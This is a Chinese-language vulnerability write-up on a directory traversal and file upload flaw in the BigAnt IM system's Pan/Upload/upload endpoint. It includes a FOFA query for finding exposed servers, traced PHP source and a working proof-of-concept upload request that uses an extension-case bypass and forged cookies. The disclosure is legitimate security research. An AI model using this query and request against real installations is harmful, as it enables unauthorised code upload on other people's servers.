大蚂蚁 (BigAnt) 即时通讯系统 Pan/Upload/upload 文件上传漏洞


漏洞简介

杭州九麒科技大蚂蚁 (BigAnt) 即时通讯系统是一款企业级IM通信管理系统,提供多种功能支持。该系统的 Pan/Upload/upload 接口存在目录遍历+任意文件写入/上传漏洞,攻击者可以通过上传特制的 php 文件,执行恶意代码,实现服务器的远程控制,可能导致敏感信息泄露、数据篡改等危害。

影响版本

BigAnt 5.5.x 及以上版本用户

经过测试,最新版本 6.0.1.20250407.1 也受影响

fofa语法

(body="/Public/static/admin/admin_common.js" && body="/Public/lang/zh-cn.js.js") || title="即时通讯 系统登录" && body="/Public/static/ukey/Syunew3.js"

漏洞分析

先看 \Pan\Controller\UploadController::_initialize 的初始化权限校验部分

public function _initialize(){

    // 进行登录检测
    parent::_initialize();

    //Flash提交过来时,FireFox SESSION全部没有(因为是另外的进程处理),Chrome是好的
    $saasId = I('saas_id');
    $saasDB = I('saas_dbname');
    $userId = I('user_id');
    $userName = I('user_name');

    $saas = array('saas_id'=>$saasId,'saas_dbname'=>$saasDB);
    $user = array('user_id'=>$userId,'user_name'=>$userName);

    //这里要与原来的SESSION合并,否则CHROME又会被覆盖,以致于少内容
    if (session('saas')) $saas = array_merge($saas,session('saas'));
    if (session('user')) $user = array_merge($user,session('user'));

    sp_set_saas($saas);
    sp_set_user($user);

}
#\Pan\Controller\PanBaseController::_initialize
public function _initialize(){

    if ($this->validLogin){
       if (! sp_user_islogin()){
               //重新获取cookie中的数据,自动登录
               $userId = cookie('userId');
               $saasId = cookie('saasId');

               if($userId && $saasId){
                   $res = \Common\Lib\SaasSDK::trustLogin($saasId, $userId,'pan') ;
               }else{
              parent::common_logout('public/logout') ;
               }
       }
       //zou 20160705 当证当前页面与当前登录是否一致
       if(!parent::valid_clientid_bool()){
          parent::common_logout('public/logout') ;
       }
    }

    //有时从其它应用转过来,没能经过load会有问题 死循化
    if (! sp_get_root()){
       $this->redirect('public/load');
       exit;
    }

    if ($this->validAdmin){
       if (! sp_user_isadmin()){
          $this->error(L('_ONLY_MANAGE_VISIT_'));
          exit;
       }
    }

    //权限
    $this->uid = sp_user_id();

    /* //重置用户所拥有的云盘权限
    $roots = \Pan\Lib\PanSDK::getUserRoots($this->uid);
    sp_set_root($roots); */
    parent::_initialize();
       //初始化参数
       $aces = array();
       $aces[] = array('name'=>L('_PAN_'),'value'=>2) ;

       $this->initParam(1,"pan",L("_APP_NAME_"),$aces,"pan_12");

}

protected $validLogin = 1 ;的存在,需要一个登录的session,继续往下看upload()方法

public function upload(){

       set_time_limit(0);
       ini_set ('memory_limit', '40900M');

       $dirPath  =I("dir_path");
       if($dirPath && strpos($dirPath, "/") !== false){            //带文件夹上传
          LogWrite("dirPath " .$dirPath);
//        session('file_error',null);
          $res = $this->_uploadWithDir($dirPath);
          //获取错误信息
//        $res = session("file_error")?['err_msg'=>session("file_error"),'err_code'=>'33002','status'=>0]:$res;
       }else{
          $rootId = I('root_id','','basename');
          $folderId = I('folder_id','','basename');
          $isRename = isset($_REQUEST['isRename']) ? $_REQUEST['isRename'] : true;
          $platform = I('platform','pc');//区分操作平台,上传图片时,手机端需重新命名保存
          /** @var FileLogic $M */
          $M = FileLogic::DD();
          $res = $M->uploadFile($rootId,$folderId,$platform,$isRename);
       }

        \Think\Log::record($res,'UPLOAD');
       if ($res['status']){
//        $this->uploadCallBack(1,$res['data']['savefile']);
            $this->success($res['data']['file_name']);
//        $this->uploadCallBack(1,$res['data']['file_name']);

       }else{
            $this->error($res['err_msg']);
//        $this->uploadCallBack(0,$res['err_msg'],$res['err_code']);
       }

    }

场景 1

无 dir_path,POST root_id=../../../doc/

调用过程如下

upload() 入口:
│
├─ $dirPath = I("dir_path")          // $_POST 中无 dir_path → 返回 ''
├─ if ($dirPath && strpos($dirPath,"/") !== false)
│   → '' && ... → FALSE              // 空字符串短路
│
└─ 进入 else 分支 (Branch 2, 第55行):
   │
   ├─ $rootId = I('root_id', '', 'basename')
   │                                    ↑↑↑↑↑↑↑↑
   │                              关键:第三参数 'basename'
   │
   │  PHP 实际执行: basename('../../../doc/')
   │
   │  PHP basename 行为(语言规范):
   │    1. 先去除尾部 '/' → '../../../doc'
   │    2. 取最后一个路径分量 → 'doc'
   │
   │  结果: $rootId = 'doc'     ← 穿越序列被完全剥除
   │
   ├─ FileLogic::uploadFile('doc', ...)
   │   │
   │   ├─ $path = "/data/CC1743B5-.../pan/doc/"
   │   │        //  saasId  ↑ 来自 session ↑ rootId='doc'
   │   │
   │   ├─ sp_folder_create($path)   // mkdir("/data/.../pan/doc/", 0777)
   │   │
   │   └─ SaasSDK::uploadAnFile(...)
   │       │
   │       └─ ThinkPHP Upload::upload()
   │           │
   │           ├─ autoSub = true (默认值, Upload.class.php 第21行)
   │           ├─ subName = array('date','Y-m-d') (默认值, 第22行)
   │           ├─ getSubPath() → call_user_func_array('date',['Y-m-d'])
   │           │   → 返回 '2026-02-12'
   │           │
   │           └─ 最终路径 = savePath + subPath
   │              = /data/CC1743B5-.../pan/doc/ + 2026-02-12/
   │
   └─ 文件落地: data/CC1743B5-.../pan/doc/2026-02-12/tesx.Php

文件后缀可以通过大小写(在Windows平台)绕过文件后缀校验。

因为I('root_id', '', 'basename') 中的 basename 过滤器将 ../../../doc/ 降维为 doc。这不是路径规范化,而是 php basename() 的语言行为——它只返回路径的最后一个分量,彻底丢弃了所有父目录引用。因此可以在root_id参数后增加一个.. 进行路径穿越到sassid目录下,但也仅此一层目录穿越,因为basename最多返回一个..

场景 2

POST dir_path=/ + root_id=../../../doc/

调用过程如下

upload() 入口:
│
├─ $dirPath = I("dir_path")          // $_POST['dir_path'] = '/'
├─ if ($dirPath && strpos($dirPath,"/") !== false)
│   → '/' && (0 !== false) → TRUE    // '/' 是 truthy,且包含 '/'
│
└─ 进入 Branch 1: _uploadWithDir('/')
   │
   ├─ $dirInfo['root_id'] = I("root_id")    // = '../../../doc/'
   │                                          // ❌ 注意:这里没有 basename 过滤
   │
   └─ uploadFileByFolder(dirname('/'), $file, $dirInfo)
      │
      ├─ dirname('/') → '/'   (Linux PHP行为)
      │
      ├─ $dirpathArr = explode("/", "/")  → ["", ""]
      │   // 两个空字符串元素
      │
      └─ foreach 第一次迭代: $v = ""
         │
         ├─ $dirInfo['folder_name'] = ""
         ├─ $where['root_id'] = $dirInfo['root_id']  // '../../../doc/'
         │
         ├─ D("Folder")->where($where)->find()
         │   // DB查询: root_id='../../../doc/' + folder_name=''
         │   // 数据库中不存在这种记录 → 返回 null/false
         │
         ├─ if(!$folder) → TRUE → 进入 createDir:
         │
         └─ D("Folder")->createDir($dirInfo)
            │   // $dirInfo 包含:
            │   //   folder_name = ""
            │   //   root_id     = "../../../doc/"
            │
            ├─ FolderModel::createDir() 第289行:
            │   $preg = preg_match_name(
            │       htmlspecialchars_decode($dirInfo['folder_name'])
            │   )
            │   // preg_match_name("") → 空字符串匹配不到
            │   // → 返回 "" (false) → 此检查通过
            │
            ├─ 继续执行到 $this->create($dirInfo, 1)
            │   // ThinkPHP Model::create() 应用 $_validate 规则
            │
            │   ⚠️ 校验失败 → 返回 ['status'=>0, 'info'=>'名称不能包含%s特殊字符!']
            │
            └─ 回到 uploadFileByFolder 第144-146行:
               if($folder['status'] === 0) {
                   echo '<script>parent.uploadCallBack('.$folder['info'].')</script>';
                   die();    ← 🛑 执行终止,文件从未保存
               }

当 dir_path=/ 时进入分支1,dirname('/') → '/' → explode 产生空字符串文件夹名 → FolderModel::createDir() 内部校验(preg_match_name 验证规则)

public function createDir($dirInfo){

    $preg = preg_match_name(htmlspecialchars_decode($dirInfo['folder_name']));
    if($preg){
       return sp_return_fail(L('_FOLDER_NAME_FILTER_'));
    }
function preg_match_name($name){
    $pattern = '/\\\|\/|\:|\*|\?|\"|\<|\>|\|/';
    if(preg_match_all($pattern,$name,$data)){
       return join(',',array_flip(array_flip($data[0])));
    }
    return ;
}

不过由于Apache的配置,data目录不能执行php因此利用有限。

漏洞复现

需要注意thinkphp的路由特性,不区分大小写,且还支持如下等方式

/Pan/Upload/upload.html

/Pan/Upload/upload

POST /Pan/Upload/upload?isRename=0 HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykYF09jVSR6go0IX0
Cookie: userId=admin;saasId=CC1743B5-E5D5-42CE-B5F6-42E24464C8D0;PHPSESSID=stnl4fh0j7k1eppmmfg5cjm2k7
Host: bigant.local:8000

------WebKitFormBoundarykYF09jVSR6go0IX0
Content-Disposition: form-data; name="root_id"

..
------WebKitFormBoundarykYF09jVSR6go0IX0
Content-Disposition: form-data; name="file"; filename="tesx.pHp"

<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundarykYF09jVSR6go0IX0--


手机扫码阅读

大蚂蚁 (BigAnt) 即时通讯系统 getFileTrueAddress SQL注入漏洞

大蚂蚁 (BigAnt) 即时通讯系统 uploadMultipleFile 任意文件上传漏洞

评 论